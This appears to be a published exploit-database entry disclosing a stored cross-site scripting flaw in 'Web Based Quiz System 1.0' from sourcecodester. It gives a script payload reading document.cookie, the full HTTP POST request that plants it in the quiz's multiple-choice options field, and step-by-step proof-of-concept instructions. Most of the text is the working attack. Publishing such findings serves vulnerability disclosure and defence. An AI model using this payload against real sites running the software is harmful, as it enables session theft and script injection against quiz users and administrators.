27af25c8c3
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1.7 KiB
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1.7 KiB
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# Exploit Title: Web Based Quiz System 1.0 - 'MCQ options' Persistent/Stored Cross-Site Scripting
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# Date: 2021-03-02
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# Exploit Author: Praharsh Kumar Singh
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# Vendor Homepage: https://www.sourcecodester.com
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# Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
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# Software: Web Based Quiz System
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# Version: 1.0
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# Vulnerability Type: Cross-site Scripting
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# Vulnerability: Persistent/Stored XSS
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# Tested on: Parrot OS
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# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
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# in adding questions in options parameter affected from this vulnerability.
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# payload: </script><script >alert(document.cookie)</script>
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POST /onlinequiz_0/update.php?q=addqns&n=1&eid=603d2f766b0d0&ch=4 HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 101
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Origin: http://localhost
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DNT: 1
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Connection: close
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Referer: http://localhost/onlinequiz_0/dashboard.php?q=4&step=2&eid=603d2f766b0d0&n=1
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Cookie: PHPSESSID=icctgctoho6nlqc6cbp8bftkeh
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Upgrade-Insecure-Requests: 1
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Sec-GPC: 1
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qns1=1&11=1&12=1&13=%3C%2Fscript%3E%3Cscript+%3Ealert%28document.cookie%29%3C%2Fscript%3E&14=1&ans1=c
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POC:
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# go to url http://localhost:8080/admin.php
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# login and add question
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# then put the above payload in MCQ options parameter
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# then fill the remaining details
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# then click add
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# go to url http://localhost:8080/login.php
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# then login to user account
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# then attempt the quiz while attempting the quiz xss pop up there..! |